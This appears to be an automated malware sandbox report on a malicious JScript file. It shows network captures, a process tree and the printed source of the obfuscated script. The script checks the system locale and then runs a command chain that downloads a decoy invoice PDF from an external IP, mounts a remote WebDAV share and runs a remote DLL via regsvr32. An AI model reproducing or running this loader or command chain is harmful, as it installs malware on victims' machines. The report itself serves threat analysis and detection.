20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 19:02:05.372252941 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 19:02:05.372272968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 19:02:05.372282982 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 10, 2025 19:02:05.372294903 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 19:02:05.372307062 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 19:02:05.372324944 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 19:02:05.372339964 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 19:02:05.372353077 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 19:02:05.372370958 CET	552	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 10, 2025 19:02:05.377366066 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49728	193.143.1.205	8888	1816	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:02:07.062290907 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 19:02:08.076865911 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:02:07 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:01:59
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\405322677135851429.js"
Imagebase:	0x7ff7d5550000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:01:59
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Imagebase:	0x7ff712060000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:01:59
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:02:00
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:02:05
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:02:05
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff712060000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:02:05
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6a3180000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:02:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:02:06
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:02:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1632,i,10602417281476799970,6764145300623445967,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bjeotgl() {	bjeotgl() ➔ undefined
1	jzcmqh = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var bbzinbk = this[luvzgp + ojxuhtb + iezrhnef + etkglyqim + npcmv + cvgwzs + fypkjhws + bhtwy] ( this[obyqcnn + iwikhvax + qbwap + iezrhnef + oelwexh + luvzgp + bhtwy][gcfolt + iezrhnef + npcmv + ojxuhtb + bhtwy + npcmv + gpbpyrwqr + gedymrga + fkhjfr + npcmv + qbwap + bhtwy] ( obyqcnn + iwikhvax + qbwap + iezrhnef + oelwexh + luvzgp + bhtwy + duhmwjoo + iwikhvax + amtoqn + npcmv + gilslgi + gilslgi ) [kjlwsufa + npcmv + jhznhmz + kjlwsufa + npcmv + ojxuhtb + eoxddnk] ( xhuxhc + xvlnh + kjrjetmri + vknlgs + kugljj + gcfolt + nmjgtw + kjlwsufa + kjlwsufa + kjrjetmri + mzefms + ocycavp + kugljj + nmjgtw + iwikhvax + kjrjetmri + kjlwsufa + ybwufkqh + gcfolt + vtdspvk + fypkjhws + bhtwy + iezrhnef + vtdspvk + gilslgi + jbcedx + ooxnpau + ojxuhtb + fypkjhws + npcmv + gilslgi + ybwufkqh + cvgwzs + fypkjhws + bhtwy + npcmv + iezrhnef + fypkjhws + ojxuhtb + bhtwy + oelwexh + vtdspvk + fypkjhws + ojxuhtb + gilslgi + ybwufkqh + tzlccvi + vtdspvk + qbwap + ojxuhtb + gilslgi + npcmv ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( lmkeyovw = 0 ; lmkeyovw < jzcmqh[gilslgi + npcmv + fypkjhws + jhznhmz + bhtwy + amtoqn] ; ++ lmkeyovw )
4	{
5	if ( bbzinbk == jzcmqh[lmkeyovw] )
6	{
7	bbzinbk = true;
8	break ;
9	}
10	}
11	if ( bbzinbk !== true )
12	this[obyqcnn + iwikhvax + qbwap + iezrhnef + oelwexh + luvzgp + bhtwy][azkghx + ojalziv + oelwexh + bhtwy] ( );
13	this[obyqcnn + iwikhvax + qbwap + iezrhnef + oelwexh + luvzgp + bhtwy][gcfolt + iezrhnef + npcmv + ojxuhtb + bhtwy + npcmv + gpbpyrwqr + gedymrga + fkhjfr + npcmv + qbwap + bhtwy] ( obyqcnn + iwikhvax + qbwap + iezrhnef + oelwexh + luvzgp + bhtwy + duhmwjoo + iwikhvax + amtoqn + npcmv + gilslgi + gilslgi ) [iezrhnef + ojalziv + fypkjhws] ( qbwap + bnuxto + eoxddnk + jbcedx + edphq + qbwap + jbcedx + luvzgp + vtdspvk + rmxejknkq + npcmv + iezrhnef + etkglyqim + amtoqn + npcmv + gilslgi + gilslgi + duhmwjoo + npcmv + civhl + npcmv + jbcedx + xxdmkplg + gcfolt + vtdspvk + bnuxto + bnuxto + ojxuhtb + fypkjhws + eoxddnk + jbcedx + hdorvolgp + cvgwzs + fypkjhws + zuxpbf + vtdspvk + oqkacu + npcmv + xxdmkplg + obyqcnn + npcmv + gedymrga + kjlwsufa + npcmv + kcpefx + ojalziv + npcmv + etkglyqim + bhtwy + jbcedx + xxdmkplg + gpbpyrwqr + ojalziv + bhtwy + rbbdab + oelwexh + gilslgi + npcmv + jbcedx + aaotqf + bhtwy + npcmv + bnuxto + luvzgp + aaotqf + ybwufkqh + oelwexh + fypkjhws + zuxpbf + vtdspvk + oelwexh + qbwap + npcmv + duhmwjoo + luvzgp + eoxddnk + ucnzv + jbcedx + amtoqn + bhtwy + bhtwy + luvzgp + bmtjlsk + edphq + edphq + oyxka + dspjkge + noyfv + duhmwjoo + oyxka + uxylmqoy + noyfv + duhmwjoo + oyxka + duhmwjoo + gmrjq + jjsqzs + yblekrti + edphq + oelwexh + fypkjhws + zuxpbf + vtdspvk + oelwexh + qbwap + npcmv + duhmwjoo + luvzgp + amtoqn + luvzgp + hdorvolgp + bjjtayty + bjjtayty + etkglyqim + bhtwy + ojxuhtb + iezrhnef + bhtwy + jbcedx + aaotqf + bhtwy + npcmv + bnuxto + luvzgp + aaotqf + ybwufkqh + oelwexh + fypkjhws + zuxpbf + vtdspvk + oelwexh + qbwap + npcmv + duhmwjoo + luvzgp + eoxddnk + ucnzv + bjjtayty + bjjtayty + qbwap + bnuxto + eoxddnk + jbcedx + edphq + qbwap + jbcedx + fypkjhws + npcmv + bhtwy + jbcedx + ojalziv + etkglyqim + npcmv + jbcedx + ybwufkqh + ybwufkqh + oyxka + dspjkge + noyfv + duhmwjoo + oyxka + uxylmqoy + noyfv + duhmwjoo + oyxka + duhmwjoo + gmrjq + jjsqzs + yblekrti + mrrcibngy + hthiffz + hthiffz + hthiffz + hthiffz + ybwufkqh + eoxddnk + ojxuhtb + zuxpbf + rmxejknkq + rmxejknkq + rmxejknkq + iezrhnef + vtdspvk + vtdspvk + bhtwy + ybwufkqh + bjjtayty + bjjtayty + qbwap + bnuxto + eoxddnk + jbcedx + edphq + qbwap + jbcedx + iezrhnef + npcmv + jhznhmz + etkglyqim + zuxpbf + iezrhnef + noyfv + gmrjq + jbcedx + edphq + etkglyqim + jbcedx + ybwufkqh + ybwufkqh + oyxka + dspjkge + noyfv + duhmwjoo + oyxka + uxylmqoy + noyfv + duhmwjoo + oyxka + duhmwjoo + gmrjq + jjsqzs + yblekrti + mrrcibngy + hthiffz + hthiffz + hthiffz + hthiffz + ybwufkqh + eoxddnk + ojxuhtb + zuxpbf + rmxejknkq + rmxejknkq + rmxejknkq + iezrhnef + vtdspvk + vtdspvk + bhtwy + ybwufkqh + gmrjq + oyxka + aeirjo + aeirjo + noyfv + oazjz + gmrjq + aeirjo + aeirjo + gmrjq + yblekrti + dspjkge + yblekrti + oyxka + duhmwjoo + eoxddnk + gilslgi + gilslgi, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll",0,false) ➔ 0
14	}
15	oqkacu = "C";
16	oqkacu = "V";
17	oqkacu = "Q";
18	oqkacu = "V";
19	oqkacu = "c";
20	oqkacu = "g";
21	oqkacu = "s";
22	oqkacu = "v";
23	oqkacu = "R";
24	oqkacu = "h";
25	oqkacu = "h";
26	oqkacu = "W";
27	oqkacu = "B";
28	oqkacu = "U";
29	oqkacu = "T";
30	oqkacu = "k";
31	vknlgs = "g";
32	vknlgs = "g";
33	vknlgs = "y";
34	vknlgs = "s";
35	vknlgs = "J";
36	vknlgs = "y";
37	vknlgs = "R";
38	vknlgs = "Y";
39	gmrjq = "K";
40	gmrjq = "U";
41	gmrjq = "c";
42	gmrjq = "l";
43	gmrjq = "K";
44	gmrjq = "I";
45	gmrjq = "x";
46	gmrjq = "f";
47	gmrjq = "h";
48	gmrjq = "N";
49	gmrjq = "E";
50	gmrjq = "E";
51	gmrjq = "t";
52	gmrjq = "M";
53	gmrjq = "a";
54	gmrjq = "A";
55	gmrjq = "S";
56	gmrjq = "o";
57	gmrjq = "P";
58	gmrjq = "S";
59	gmrjq = "j";
60	gmrjq = "w";
61	gmrjq = "K";
62	gmrjq = "D";
63	gmrjq = "q";
64	gmrjq = "k";
65	gmrjq = "u";
66	gmrjq = "L";
67	gmrjq = "r";
68	gmrjq = "w";
69	gmrjq = "Y";
70	gmrjq = "Z";
71	gmrjq = "w";
72	gmrjq = "2";
73	vtdspvk = "L";
74	vtdspvk = "j";
75	vtdspvk = "N";
76	vtdspvk = "D";
77	vtdspvk = "l";
78	vtdspvk = "U";
79	vtdspvk = "Q";
80	vtdspvk = "a";
81	vtdspvk = "v";
82	vtdspvk = "v";
83	vtdspvk = "v";
84	vtdspvk = "q";
85	vtdspvk = "S";
86	vtdspvk = "W";
87	vtdspvk = "D";
88	vtdspvk = "t";
89	vtdspvk = "Q";
90	vtdspvk = "S";
91	vtdspvk = "w";
92	vtdspvk = "q";
93	vtdspvk = "F";
94	vtdspvk = "c";
95	vtdspvk = "p";
96	vtdspvk = "o";
97	ooxnpau = "h";
98	ooxnpau = "U";
99	ooxnpau = "t";
100	ooxnpau = "Z";
101	ooxnpau = "a";
102	ooxnpau = "o";
103	ooxnpau = "l";
104	ooxnpau = "q";
105	ooxnpau = "a";
106	ooxnpau = "v";
107	ooxnpau = "k";
108	ooxnpau = "l";
109	ooxnpau = "x";
110	ooxnpau = "o";
111	ooxnpau = "g";
112	ooxnpau = "m";
113	ooxnpau = "q";
114	ooxnpau = "T";
115	ooxnpau = "O";
116	ooxnpau = "O";
117	ooxnpau = "O";
118	ooxnpau = "U";
119	ooxnpau = "c";
120	ooxnpau = "g";
121	ooxnpau = "L";
122	ooxnpau = "L";
123	ooxnpau = "H";
124	ooxnpau = "W";
125	ooxnpau = "Q";
126	ooxnpau = "D";
127	ooxnpau = "e";
128	ooxnpau = "e";
129	ooxnpau = "f";
130	ooxnpau = "o";
131	ooxnpau = "v";
132	ooxnpau = "g";
133	ooxnpau = "b";
134	ooxnpau = "I";
135	ooxnpau = "Y";
136	ooxnpau = "Y";
137	ooxnpau = "k";
138	ooxnpau = "g";
139	ooxnpau = "M";
140	ooxnpau = "x";
141	ooxnpau = "P";
142	gedymrga = "h";
143	gedymrga = "F";
144	gedymrga = "S";
145	gedymrga = "b";
146	jbcedx = "h";
147	jbcedx = "C";
148	jbcedx = "u";
149	jbcedx = "F";
150	jbcedx = "W";
151	jbcedx = "W";
152	jbcedx = "O";
153	jbcedx = "b";
154	jbcedx = "h";
155	jbcedx = "H";
156	jbcedx = "a";
157	jbcedx = "Z";
158	jbcedx = "R";
159	jbcedx = "R";
160	jbcedx = "u";
161	jbcedx = "d";
162	jbcedx = "c";
163	jbcedx = "T";
164	jbcedx = "x";
165	jbcedx = " ";
166	jhznhmz = "R";
167	jhznhmz = "u";
168	jhznhmz = "S";
169	jhznhmz = "d";
170	jhznhmz = "W";
171	jhznhmz = "P";
172	jhznhmz = "O";
173	jhznhmz = "Y";
174	jhznhmz = "C";
175	jhznhmz = "G";
176	jhznhmz = "O";
177	jhznhmz = "K";
178	jhznhmz = "s";
179	jhznhmz = "x";
180	jhznhmz = "y";
181	jhznhmz = "X";
182	jhznhmz = "S";
183	jhznhmz = "D";
184	jhznhmz = "r";
185	jhznhmz = "b";
186	jhznhmz = "g";
187	jhznhmz = "G";
188	jhznhmz = "I";
189	jhznhmz = "L";
190	jhznhmz = "E";
191	jhznhmz = "U";
192	jhznhmz = "d";
193	jhznhmz = "z";
194	jhznhmz = "S";
195	jhznhmz = "m";
196	jhznhmz = "H";
197	jhznhmz = "e";
198	jhznhmz = "G";
199	jhznhmz = "I";
200	jhznhmz = "l";
201	jhznhmz = "M";
202	jhznhmz = "W";
203	jhznhmz = "A";
204	jhznhmz = "g";
205	rbbdab = "L";
206	rbbdab = "F";
207	rbbdab = "q";
208	rbbdab = "R";
209	rbbdab = "P";
210	rbbdab = "A";
211	rbbdab = "B";
212	rbbdab = "x";
213	rbbdab = "A";
214	rbbdab = "s";
215	rbbdab = "h";
216	rbbdab = "m";
217	rbbdab = "A";
218	rbbdab = "j";
219	rbbdab = "J";
220	rbbdab = "u";
221	rbbdab = "f";
222	rbbdab = "C";
223	rbbdab = "x";
224	rbbdab = "L";
225	rbbdab = "c";
226	rbbdab = "U";
227	rbbdab = "a";
228	rbbdab = "p";
229	rbbdab = "e";
230	rbbdab = "l";
231	rbbdab = "q";
232	rbbdab = "F";
233	nmjgtw = "M";
234	nmjgtw = "c";
235	nmjgtw = "Q";
236	nmjgtw = "P";
237	nmjgtw = "A";
238	nmjgtw = "J";
239	nmjgtw = "h";
240	nmjgtw = "p";
241	nmjgtw = "y";
242	nmjgtw = "Z";
243	nmjgtw = "u";
244	nmjgtw = "V";
245	nmjgtw = "W";
246	nmjgtw = "A";
247	nmjgtw = "Y";
248	nmjgtw = "t";
249	nmjgtw = "G";
250	nmjgtw = "a";
251	nmjgtw = "o";
252	nmjgtw = "P";
253	nmjgtw = "I";
254	nmjgtw = "b";
255	nmjgtw = "t";
256	nmjgtw = "O";
257	nmjgtw = "T";
258	nmjgtw = "l";
259	nmjgtw = "D";
260	nmjgtw = "p";
261	nmjgtw = "E";
262	nmjgtw = "u";
263	nmjgtw = "n";
264	nmjgtw = "B";
265	nmjgtw = "z";
266	nmjgtw = "v";
267	nmjgtw = "L";
268	nmjgtw = "I";
269	nmjgtw = "D";
270	nmjgtw = "U";
271	nmjgtw = "G";
272	nmjgtw = "d";
273	nmjgtw = "U";
274	oazjz = "l";
275	oazjz = "S";
276	oazjz = "R";
277	oazjz = "M";
278	oazjz = "P";
279	oazjz = "L";
280	oazjz = "c";
281	oazjz = "N";
282	oazjz = "o";
283	oazjz = "v";
284	oazjz = "H";
285	oazjz = "Z";
286	oazjz = "J";
287	oazjz = "I";
288	oazjz = "W";
289	oazjz = "S";
290	oazjz = "s";
291	oazjz = "T";
292	oazjz = "n";
293	oazjz = "R";
294	oazjz = "M";
295	oazjz = "S";
296	oazjz = "m";
297	oazjz = "b";
298	oazjz = "F";
299	oazjz = "p";
300	oazjz = "X";
301	oazjz = "n";
302	oazjz = "T";
303	oazjz = "k";
304	oazjz = "J";
305	oazjz = "j";
306	oazjz = "6";
307	ucnzv = "O";
308	ucnzv = "b";
309	ucnzv = "H";
310	ucnzv = "f";
311	ucnzv = "p";
312	ucnzv = "z";
313	ucnzv = "g";
314	ucnzv = "o";
315	ucnzv = "R";
316	ucnzv = "f";
317	ucnzv = "H";
318	ucnzv = "o";
319	ucnzv = "Z";
320	ucnzv = "p";
321	ucnzv = "R";
322	ucnzv = "d";
323	ucnzv = "H";
324	ucnzv = "x";
325	ucnzv = "U";
326	ucnzv = "j";
327	ucnzv = "c";
328	ucnzv = "u";
329	ucnzv = "k";
330	ucnzv = "q";
331	ucnzv = "z";
332	ucnzv = "q";
333	ucnzv = "B";
334	ucnzv = "z";
335	ucnzv = "x";
336	ucnzv = "F";
337	ucnzv = "x";
338	ucnzv = "q";
339	ucnzv = "t";
340	ucnzv = "s";
341	ucnzv = "d";
342	ucnzv = "T";
343	ucnzv = "o";
344	ucnzv = "Q";
345	ucnzv = "q";
346	ucnzv = "o";
347	ucnzv = "Z";
348	ucnzv = "n";
349	ucnzv = "f";
350	xxdmkplg = "L";
351	xxdmkplg = "h";
352	xxdmkplg = "B";
353	xxdmkplg = "X";
354	xxdmkplg = "m";
355	xxdmkplg = "V";
356	xxdmkplg = "j";
357	xxdmkplg = "U";
358	xxdmkplg = "M";
359	xxdmkplg = "t";
360	xxdmkplg = "Y";
361	xxdmkplg = "-";
362	civhl = "o";
363	civhl = "N";
364	civhl = "W";
365	civhl = "z";
366	civhl = "t";
367	civhl = "U";
368	civhl = "L";
369	civhl = "s";
370	civhl = "y";
371	civhl = "t";
372	civhl = "G";
373	civhl = "V";
374	civhl = "F";
375	civhl = "m";
376	civhl = "n";
377	civhl = "N";
378	civhl = "q";
379	civhl = "i";
380	civhl = "t";
381	civhl = "A";
382	civhl = "X";
383	civhl = "G";
384	civhl = "J";
385	civhl = "K";
386	civhl = "M";
387	civhl = "W";
388	civhl = "G";
389	civhl = "H";
390	civhl = "M";
391	civhl = "S";
392	civhl = "J";
393	civhl = "x";
394	fypkjhws = "n";
395	fypkjhws = "X";
396	fypkjhws = "z";
397	fypkjhws = "U";
398	fypkjhws = "K";
399	fypkjhws = "e";
400	fypkjhws = "p";
401	fypkjhws = "Q";
402	fypkjhws = "h";
403	fypkjhws = "q";
404	fypkjhws = "U";
